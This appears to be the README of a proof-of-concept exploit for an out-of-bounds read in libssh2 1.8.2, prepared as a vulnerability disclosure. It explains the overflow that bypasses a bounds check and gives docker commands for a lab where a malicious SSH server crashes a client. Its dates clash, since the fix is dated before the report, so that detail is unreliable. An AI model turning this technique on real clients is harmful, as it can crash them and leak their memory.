libssh2 version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version 1.9.0, released on 2018-06-20.
This directory contains a proof of concept exploit for the vulnerability. It uses docker to simulate two computers. The first is a server, running openssh with some malicious source code modifications. The second is a client, running libssh2. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client.
I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function:
int _libssh2_check_length(struct string_buf *buf, size_t len)
{
return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0;
}
The above code snippet is from revision 38bf7ce. The PoC works by making len greater than buf->len + 0x80000000 so that the calculation of (int)(buf->len - len) overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that _libssh2_check_length was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of len can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named evil_offset in diff.txt and change its value to something smaller.
Create a docker network bridge, to simulate a network with two separate computers.
docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network
Build the docker image:
docker build server -t libssh2-server --build-arg UID=`id -u`
Start the container:
docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server
Start the malicious ssh server:
sudo /usr/local/sbin/sshd # password is x
Build the docker image:
docker build client -t libssh2-client --build-arg UID=`id -u`
Start the container:
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client
If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments:
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client
In the container, attempt to connect to the server:
cd ~/libssh2/example
./ssh2 172.18.0.10 hal x
This command crashes with a segmentation fault.
If you would like to debug libssh2 with gdb, then start it like this:
cd ~/libssh2/example/.libs
LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x